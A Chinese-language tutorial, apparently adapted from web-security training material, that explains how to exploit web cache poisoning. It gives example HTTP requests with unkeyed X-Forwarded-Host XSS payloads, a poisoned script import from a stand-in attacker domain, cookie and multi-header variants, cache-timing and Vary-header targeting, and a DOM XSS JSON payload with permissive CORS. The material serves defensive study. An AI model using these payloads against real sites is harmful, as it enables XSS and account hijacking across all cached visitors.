1. 使用web缓存投毒执行XSS
也许最容易被利用的web缓存投毒漏洞是,非缓存键输入反射在可缓存的响应中,而没有进行适当的清除。
例如,考虑以下请求和响应:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: innocent-website.co.uk
HTTP/1.1 200 OK
Cache-Control: public
<meta property="og:image" content="https://innocent-website.co.uk/cms/social.png" />
这里,X-Forwarded-Host报头的值用于动态生成Open Graph图像的URL,然后在响应中返回该URL。对于web缓存投毒至关重要的是,X-Forwarded-Host报头通常是非缓存键。在这个例子中,缓存可能会被一个包含简单XSS payload的响应投毒:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
HTTP/1.1 200 OK
Cache-Control: public
<meta property="og:image" content="https://a."><script>alert(1)</script>"/cms/social.png" />
如果缓存此响应,所有访问/en?region=uk的用户将被触发XSS攻击。这个例子只是在受害者的浏览器中出现一个弹窗,但是真正的攻击可能会窃取密码并劫持用户帐户。
2. 使用web缓存投毒来导入不安全的资源
一些网站使用非缓存键头来动态生成url来导入资源,比如外部托管的JavaScript文件。在这种情况下,如果攻击者将适当头的值更改为他们控制的域,他们可能会操纵URL来指向他们自己的恶意JavaScript文件。
如果缓存了包含此恶意URL的响应,则攻击者的JavaScript文件将被导入,并在用户的请求匹配到缓存键时,将在用户浏览器中执行。
GET / HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: evil-user.net
User-Agent: Mozilla/5.0 Firefox/57.0
HTTP/1.1 200 OK
<script src="https://evil-user.net/static/analytics.js"></script>
3. 使用web缓存中毒来利用cookie处理漏洞
cookie通常用于在响应中动态生成内容。一个常见的例子可能是一个cookie,它指示用户的首选语言,然后用来加载页面的相应版本:
GET /blog/post.php?mobile=1 HTTP/1.1
Host: innocent-website.com
User-Agent: Mozilla/5.0 Firefox/57.0
Cookie: language=pl;
Connection: close
注意,关于请求返回语言版本的信息只包含在Cookie报头中。假设缓存键包含请求行和Host头,但不包含Cookie头。在这种情况下,如果缓存了该请求的响应,那么所有试图访问此博客文章的后续用户也将收到波兰语版本,而不管他们实际选择的是哪种语言。
缓存对cookie的这种有缺陷的处理也可以被web缓存投毒技术所利用。然而,在实践中,与基于头的缓存投毒相比,这种攻击向量相对较少。当基于cookie的缓存投毒漏洞存在时,它们往往会被迅速识别和解决,因为合法用户已经访问了中毒的页面。
4. 使用多个头来利用web缓存投毒漏洞
一些网站容易受到简单的web缓存投毒攻击,如上所示。然而,另一些则需要更复杂的攻击,只有当攻击者能够操纵多个非缓存键输入的请求时才变得脆弱。
例如,假设一个网站需要使用HTTPS进行安全通信。为了实现这一点,如果接收到使用另一种协议的请求,网站会动态生成一个使用HTTPS的重定向:
GET /random HTTP/1.1
Host: innocent-site.com
X-Forwarded-Proto: http
HTTP/1.1 301 moved permanently
Location: https://innocent-site.com/random
就其本身而言,这种行为并不一定脆弱。然而,通过将此与我们之前了解到的动态生成URL中的漏洞相结合,攻击者可能会利用这种行为生成可缓存的响应,将用户重定向到恶意URL。
5. 利用泄露过多信息的返回
有时网站由于泄露了太多关于他们自己和他们行为的信息而使他们更容易受到网络缓存投毒的伤害。
5.1 缓存控制指令
构建web缓存投毒攻击时的一个挑战是确保有害响应被缓存。这可能涉及大量手动试验和错误,以研究缓存的行为。然而,有时响应明确地显示了攻击者成功毒害缓存所需的一些信息。
一个这样的例子是,当响应包含关于缓存被清除的频率或当前缓存响应的时间信息时:
HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age=1800
虽然这不会直接导致web缓存投毒漏洞,但它确实节省了潜在的攻击者所涉及的一些手动工作,因为他们确切地知道当发送payload时以确保缓存。
这一知识也使更精妙的攻击成为可能。与其发送大量请求给后端服务器,直到有一个可疑的请求出现,不如仔细地对单个恶意请求进行计时,以毒害缓存。
5.2 Vary头
经常使用Vary头的基本方法也可以为攻击者提供帮助。Vary标头指定了一个应作为缓存键的一部分处理的附加头列表,即使它们通常是非缓存键。例如,它通常用于指定User-Agent头是缓存键,如果一个网站的移动端版本被缓存,这将不会错误地提供给非移动端用户。
此信息还可用于构造以特定用户为目标的多步骤攻击。例如,如果攻击者知道user-agent头是缓存键的一部分,那么首先确定目标受害者的user agent,他们可以调整攻击,使这种user-agent的用户才受到影响。或者,他们可以计算出哪个user agetn最常用于访问该站点,并对攻击进行调整,以影响最大数量的用户。
5.3 使用web缓存投毒来利用基于DOM的漏洞
如前所述,如果网站不安全地使用非缓存键头导入文件,这可能会被攻击者利用来导入恶意文件。然而,这不仅仅适用于JavaScript文件。
许多网站使用JavaScript从后端获取和处理额外的数据。如果脚本以不安全的方式处理来自服务器的数据,这可能会导致各种基于DOM的漏洞。
例如,攻击者可以用一个响应毒害缓存,该响应导入包含以下payload的JSON文件:
{"someProperty" : "<svg onload=alert(1)>"}
如果网站随后将此属性的值传递给支持动态代码执行的接收器,则payload将在受害者的浏览器中执行。
如果你使用web缓存投毒使一个网站从你的服务器加载恶意的JSON数据,你可能需要授予网站使用CORS访问JSON:
HTTP/1.1 200 OK
Content-Type: application/json
Access-Control-Allow-Origin: *
{
"malicious json" : "malicious json"
}
5.4 串联web缓存投毒漏洞
正如我们前面所看到的,有时攻击者只能通过使用多个头编写请求来引出恶意响应。但不同类型的攻击也是如此。Web缓存投毒攻击时需要将我们讨论过的几种技术串联起来。通过将不同的漏洞串联在一起,通常可能会暴露最初无法利用的额外漏洞面。